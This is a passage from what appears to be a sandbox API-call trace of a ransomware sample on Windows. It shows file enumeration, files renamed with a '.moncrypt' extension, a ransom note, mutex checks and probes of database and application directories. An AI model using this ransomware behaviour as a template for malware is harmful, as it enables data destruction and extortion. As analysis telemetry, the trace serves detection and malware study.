ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.519] GetLastError () returned 0x12 [0052.519] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.519] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.519] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.519] GlobalUnlock (hMem=0x44000c) returned 0 [0052.519] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.519] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.519] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.519] GlobalUnlock (hMem=0x44000c) returned 0 [0052.519] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.519] GlobalUnlock (hMem=0x440004) returned 0 [0052.520] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40798a00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40798a00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.520] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.520] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.520] GlobalLock (hMem=0x440004) returned 0x550170 [0052.520] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.520] GlobalUnlock (hMem=0x440004) returned 0 [0052.520] GlobalLock (hMem=0x440004) returned 0x550170 [0052.520] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.520] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.520] GlobalUnlock (hMem=0x440004) returned 0 [0052.520] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.520] GlobalUnlock (hMem=0x44000c) returned 0 [0052.520] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.520] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40798a00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40798a00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.520] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.520] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.520] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.520] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.520] GlobalUnlock (hMem=0x44000c) returned 0 [0052.520] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.520] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.520] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.521] GlobalUnlock (hMem=0x44000c) returned 0 [0052.521] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.521] GlobalUnlock (hMem=0x440004) returned 0 [0052.521] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.521] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40798a00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40798a00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40798a00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.521] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.521] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.521] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.521] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.521] GlobalUnlock (hMem=0x440004) returned 0 [0052.521] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.521] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.521] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.521] GlobalUnlock (hMem=0x440004) returned 0 [0052.521] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.521] GlobalUnlock (hMem=0x44000c) returned 0 [0052.521] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.521] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1679a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM.moncrypt", cAlternateFileName="PAPYRU~1.MON")) returned 1 [0052.521] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.521] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.521] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.521] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.521] GlobalUnlock (hMem=0x44000c) returned 0 [0052.521] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.521] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.521] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.521] GlobalUnlock (hMem=0x44000c) returned 0 [0052.522] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.522] GlobalUnlock (hMem=0x440004) returned 0 [0052.522] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.522] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0052.522] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.522] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.522] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.522] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.522] GlobalUnlock (hMem=0x440004) returned 0 [0052.522] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.522] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.522] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.522] GlobalUnlock (hMem=0x440004) returned 0 [0052.522] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.522] GlobalUnlock (hMem=0x44000c) returned 0 [0052.522] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.522] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.522] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.522] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.522] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.522] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.522] GlobalUnlock (hMem=0x44000c) returned 0 [0052.522] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.522] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.522] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.522] GlobalUnlock (hMem=0x44000c) returned 0 [0052.522] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.522] GlobalUnlock (hMem=0x440004) returned 0 [0052.522] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.523] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9305, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.523] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.523] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.523] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.523] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.523] GlobalUnlock (hMem=0x440004) returned 0 [0052.523] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.523] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.523] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.523] GlobalUnlock (hMem=0x440004) returned 0 [0052.523] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.523] GlobalUnlock (hMem=0x44000c) returned 0 [0052.523] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.523] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9305, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.523] GetLastError () returned 0x12 [0052.523] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.523] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0052.523] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.524] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.524] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.524] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.524] GlobalUnlock (hMem=0x44000c) returned 0 [0052.524] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.524] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.524] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.524] GlobalUnlock (hMem=0x44000c) returned 0 [0052.524] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.524] GlobalUnlock (hMem=0x440004) returned 0 [0052.524] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.524] GlobalLock (hMem=0x440004) returned 0x550170 [0052.524] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.524] GlobalUnlock (hMem=0x440004) returned 0 [0052.524] GlobalLock (hMem=0x440004) returned 0x550170 [0052.524] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.524] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.524] GlobalUnlock (hMem=0x440004) returned 0 [0052.524] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.524] GlobalUnlock (hMem=0x44000c) returned 0 [0052.524] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.524] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL", len=0x3d | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL") returned 1 [0052.524] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.524] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.525] GlobalUnlock (hMem=0x44000c) returned 0 [0052.525] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.525] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.525] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.525] GlobalUnlock (hMem=0x44000c) returned 0 [0052.525] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.525] GlobalUnlock (hMem=0x440004) returned 0 [0052.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冼R冐R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.525] GetLastError () returned 0x3 [0052.525] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.525] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.525] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0052.526] GetLastError () returned 0x2 [0052.526] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.526] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.526] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0052.526] GetLastError () returned 0x2 [0052.526] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.526] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18D")) returned 0xffffffff [0052.527] GetLastError () returned 0x2 [0052.527] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18몤R\x18j")) returned 0xffffffff [0052.527] GetLastError () returned 0x2 [0052.527] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18q")) returned 0xffffffff [0052.528] GetLastError () returned 0x2 [0052.528] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0052.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0052.528] GetLastError () returned 0x2 [0052.528] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0052.529] GetLastError () returned 0x2 [0052.529] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, 